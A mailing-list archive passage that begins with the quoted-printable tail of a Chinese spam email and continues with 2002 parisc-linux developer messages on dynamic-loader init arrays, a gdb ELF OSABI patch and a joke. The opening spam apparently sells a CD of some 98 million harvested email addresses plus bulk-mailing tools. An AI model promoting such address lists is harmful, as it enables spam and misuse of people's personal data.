=CA=BC=FE=A3=AC=B7=B3=C7=EB=B7=C3=CE=CA=D2=D4=CF=C2=CD=F8=D6=B7=A3=BA
http://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D3270&language=3Dgb=
2312




------=_NextPart_001_005A_14E6004B.3EB200E3
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable


<html>
<head>
<title>9800=B6=E0=CD=F2=C8=AB=B9=FA=D3=CA=D6=B7=D7=DC=BF=E2</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dgb2312">=

</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<div align=3D"center">
  <table width=3D"688" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
    <tr> 
      <td>9800=B6=E0=CD=F2=C8=AB=B9=FA=D3=CA=D6=B7=D7=DC=BF=E2+100=B6=E0=BF=
=EE=D3=AA=CF=FA=C8=ED=BC=FE=B9=E2=C5=CC =D6=BB=D0=E8=D2=AA200=D4=AA=A1=A1<a=
 href=3D"http://www.cici.cc/index.asp">=CF=EA=C7=E9=B5=E3=BB=F7</a> 
        <p> =A1=A1=A1=A1=B1=BE=D5=BE=BE=AD=B9=FD=BD=FC=D2=BB=C4=EA=B5=C4=CB=
=D1=BC=AF=D5=FB=C0=ED=A1=A2=B7=B4=B8=B4=B2=E2=CA=D4=D1=E9=D6=A4,=CF=D6=B9=B2=
=D5=FB=C0=ED9800=B6=E0=CD=F2=B8=F6=B9=FA=C4=DA=D3=C3=BB=A7=D3=CA=BC=FE=B5=D8=
=D6=B7,=BE=AD=D7=A8=D2=B5=B9=A4=BE=DF=D0=A3=D1=E9=C9=B8=D1=A1=C8=A5=B3=FD=D6=
=D8=B8=B4=CE=DE=D0=A7,=B2=A2=CD=A8=B9=FD=D3=CA=BC=FE=B9=DC=C0=ED=B9=A4=BE=DF=
=D4=DA=CF=DF=D1=E9=D6=A4,=B2=A2=B0=B4=D0=D0=D2=B5=BA=CD=B5=D8=C7=F8=B7=D6=C0=
=E0=BA=C3.=C8=BB=BA=F3=CE=D2=C3=C7=D4=D9=D7=D0=CF=B8=BD=AB=D3=CA=D6=B7=BF=E2=
=D7=F6=B3=C9=B9=E2=C5=CC,=B7=B2=B9=BA=C2=F2=B1=BE=B2=FA=C6=B7=D5=DF,=BF=C9=D2=
=D4=C3=E2=B7=D1=B5=C3=B5=BD100=B6=E0=BF=EE=CD=F8=C2=E7=D3=AA=CF=FA=C8=ED=BC=
=FE(=B0=FC=C0=A8=C8=BA=B7=A2=A1=A2=CB=D1=CB=F7=A1=A2=D1=E9=D6=A4=B5=C8=B9=A4=
=BE=DF,=BE=F9=BF=C9=D5=FD=B3=A3=CA=B9=D3=C3)=A1=A3=B1=BE=D5=BE=CC=E1=B9=A9=B5=
=C4=D3=CA=BC=FE=B5=D8=D6=B7=BF=E2=B2=FA=C6=B7=BE=DF=D3=D0=BC=AB=BA=C3=B5=C4=
=D6=CA=C1=BF=A3=AC=BC=AB=B5=CD=B5=C4=BC=DB=B8=F1=A3=AC=CD=EA=C9=C6=B5=C4=CA=
=DB=BA=F3=B7=FE=CE=F1=A3=AC=CA=DC=B5=BD=BF=CD=BB=A7=B5=C4=D2=BB=D6=C2=BA=C3=
=C6=C0=A1=A3=B0=D1=C4=BF=B9=E2=CD=B6=CF=F2=CE=D2=C3=C7=B5=C4=B2=FA=C6=B7=A3=
=AC=CA=C7=C4=FA=C3=F7=D6=C7=B5=C4=D1=A1=D4=F1=A3=AC=CE=D2=C3=C7=BD=AB=CE=AA=
=C4=FA=CC=E1=B9=A9=D7=EE=D3=C5=B5=C4=B7=FE=CE=F1=A1=A3 
        </p>
        <p> =B9=E2=C5=CC=BC=DB=B8=F1=A3=BA200=D4=AA=A1=A1=A1=A1 <a href=3D=
"http://www.cici.cc/indent/index.asp">=C1=A2=BC=B4=B6=A8=B9=BA</a> 
          =A1=A1=A1=A1<a href=3D"http://www.cici.cc/index.asp#1">=B8=B6=BF=
=EE=B7=BD=CA=BD</a></p>
        <p></p>
      </td>
    </tr>
    <tr> 
      <td>&nbsp;</td>
    </tr>
  </table>
  <p>&nbsp;</p>
  <p></p>
</div>
<hr><table width=3D658 border=3D0><tr><td valign=3Dtop><p><font size=3D2 >=
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3<br>=C8=F4=C4=
=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=CA=BC=FE=
=A3=AC<a href=3Dhttp://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D327=
0&language=3Dgb2312>=C7=EB=B5=E3=BB=F7=D5=E2=C0=EF</a></font></p></td></tr>=
</table></body>
</html>


------=_NextPart_001_005A_14E6004B.3EB200E3--



------=_NextPart_000_0059_14E6004B.3EB200E3--




From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dynamic loader ignores DT_INIT_ARRAY and DT_FINI_ARRAY
Date: Thu, 26 Dec 2002 16:06:27 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200212262106.gBQL6RGB000567@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622052 18946 80.91.229.3 (22 Nov 2014 02:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 14:06:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E3F64829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 14:06:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBQL6Sot000569
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 16:06:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBQL6RGB000567
	for parisc-linux@lists.parisc-linux.org; Thu, 26 Dec 2002 16:06:27 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17198

Experimenting with initializers and finalizers, I find that the dynamic
loader doesn't run initializers in .init_array.  The linker sets up
DT_INIT_ARRAY to point to the list of initilizers .init_array but they
don't get run.  This appears to be a violation of the generic System V
ABI for ELF <http://www.caldera.com/developers/gabi/latest/contents.html>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dynamic loader ignores DT_INIT_ARRAY and DT_FINI_ARRAY
Date: Thu, 26 Dec 2002 18:05:03 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20021226230503.GA8363@systemhalted>
References: <200212262106.gBQL6RGB000567@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622052 18949 80.91.229.3 (22 Nov 2014 02:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 16:05:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.48.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 427684829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 16:05:11 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Rh3n-0002BQ-00; Thu, 26 Dec 2002 18:05:03 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200212262106.gBQL6RGB000567@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17199

> Experimenting with initializers and finalizers, I find that the dynamic
> loader doesn't run initializers in .init_array.  The linker sets up
> DT_INIT_ARRAY to point to the list of initilizers .init_array but they
> don't get run.  This appears to be a violation of the generic System V
> ABI for ELF <http://www.caldera.com/developers/gabi/latest/contents.html>.

Do you have a quick snip of code that shows this? I'm looking through
the glibc ld bits to determine where the mistake might reside.

I'm also building latest toolchain :)

c.



From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Who wrote the parisc gdb support?
Date: Thu, 26 Dec 2002 21:07:11 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20021227020711.GC8363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622053 18950 80.91.229.3 (22 Nov 2014 02:07:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 19:07:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.48.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50A434829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 19:07:10 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Rju3-0002Lt-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 21:07:11 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17200

parisc-linux,

In my quest to stop the painful maintenance of custom parisc patches I'm
going to begin pushing all the gdb changes upstream :)

I have split the current patch into a series of friendly patches and
will, after I figure out copyright, send them upstream.

Who wrote our initial gdb implementation?

c.



From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Why do we relax e_ident[EI_OSABI] in gdb?
Date: Thu, 26 Dec 2002 21:31:37 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20021227023137.GD8363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622053 18954 80.91.229.3 (22 Nov 2014 02:07:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 19:31:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.48.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D6094829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 19:31:36 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18RkHh-0002Nl-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 21:31:37 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17201

parisc-linux,

Anyone have some ideas why we have this patch in gdb, and thus relax the 
EI_OSABI check?

--- gdb-5.2.cvs20020401/bfd/elf64-hppa.c~	Sun Mar 31 19:09:41 2002
+++ gdb-5.2.cvs20020401/bfd/elf64-hppa.c	Sat Apr 20 09:35:54 2002
@@ -372,7 +372,8 @@
   i_ehdrp = elf_elfheader (abfd);
   if (strcmp (bfd_get_target (abfd), "elf64-hppa-linux") == 0)
     {
-      if (i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_LINUX)
+      if (i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_LINUX &&
+          i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_NONE)
 	return false;
     }
   else
--- gdb-5.2.cvs20020401/bfd/elf32-hppa.c~	Sun Mar 31 19:09:41 2002
+++ gdb-5.2.cvs20020401/bfd/elf32-hppa.c	Sat Apr 20 09:35:54 2002
@@ -1038,7 +1038,8 @@
   i_ehdrp = elf_elfheader (abfd);
   if (strcmp (bfd_get_target (abfd), "elf32-hppa-linux") == 0)
     {
-      if (i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_LINUX)
+      if (i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_LINUX &&
+          i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_NONE)
 	return false;
     }
   else
===

c.



From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Joke of the day for PA userspace hackers...
Date: Thu, 26 Dec 2002 21:49:41 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20021227024941.GE8363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622053 18959 80.91.229.3 (22 Nov 2014 02:07:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 19:49:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.48.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42AC64829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 19:49:41 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18RkZB-0002PZ-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 21:49:41 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17202

parisc,

Two programmers are seated at a bar hacking on PARISC,
when Joe turns to Jill and says:

Joe:  "I tried calling the function by it's address"
Jill: "Just lop off the first 2 bits."
Joe:  "Hey! It worked?! What did that do?"
Jill: "I don't know, but it's a clever fix, without a changelog,
       that I keep seeing in debian binutils and gdb code"

*ba dump ching*

Function descriptors :)

c.



From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Joke of the day for PA userspace hackers...
Date: Thu, 26 Dec 2002 22:01:37 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200212270301.gBR31bJQ001222@hiauly1.hia.nrc.ca>
References: <20021227024941.GE8363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622054 18962 80.91.229.3 (22 Nov 2014 02:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 20:01:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C7AB4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 20:01:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBR31bot001224;
	Thu, 26 Dec 2002 22:01:38 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBR31bJQ001222;
	Thu, 26 Dec 2002 22:01:37 -0500 (EST)
In-Reply-To: <20021227024941.GE8363@systemhalted> from "Carlos O'Donell" at Dec 26, 2002 09:49:41 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17203

> parisc,
> 
> Two programmers are seated at a bar hacking on PARISC,
> when Joe turns to Jill and says:
> 
> Joe:  "I tried calling the function by it's address"
> Jill: "Just lop off the first 2 bits."
> Joe:  "Hey! It worked?! What did that do?"
> Jill: "I don't know, but it's a clever fix, without a changelog,
>        that I keep seeing in debian binutils and gdb code"
> 
> *ba dump ching*
> 
> Function descriptors :)

Won't work on hppa64 :))  Our ctor/dtor pointers are not function pointers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Why do we relax e_ident[EI_OSABI] in gdb?
Date: Thu, 26 Dec 2002 22:49:02 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021227054902.GA6159@dsl2.external.hp.com>
References: <20021227023137.GD8363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622054 18964 80.91.229.3 (22 Nov 2014 02:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:34 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 22:49:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E5C2C4829; Thu, 26 Dec 2002 22:49:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021227023137.GD8363@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17204

On Thu, Dec 26, 2002 at 09:31:37PM -0500, Carlos O'Donell wrote:
> Anyone have some ideas why we have this patch in gdb, and thus relax the 
> EI_OSABI check?

Maybe this mail explains it?
http://lists.parisc-linux.org/hypermail/parisc-linux/2357.html

search for ELF_OSABI on lists.p-l.o turned up alot of hits.
But looks like just one thread.

grant


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Why do we relax e_ident[EI_OSABI] in gdb?
Date: Thu, 26 Dec 2002 23:09:20 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021227060920.GC6159@dsl2.external.hp.com>
References: <20021227023137.GD8363@systemhalted> <20021227054902.GA6159@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622054 18968 80.91.229.3 (22 Nov 2014 02:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:34 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 23:09:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 86C4A4829; Thu, 26 Dec 2002 23:09:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021227054902.GA6159@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
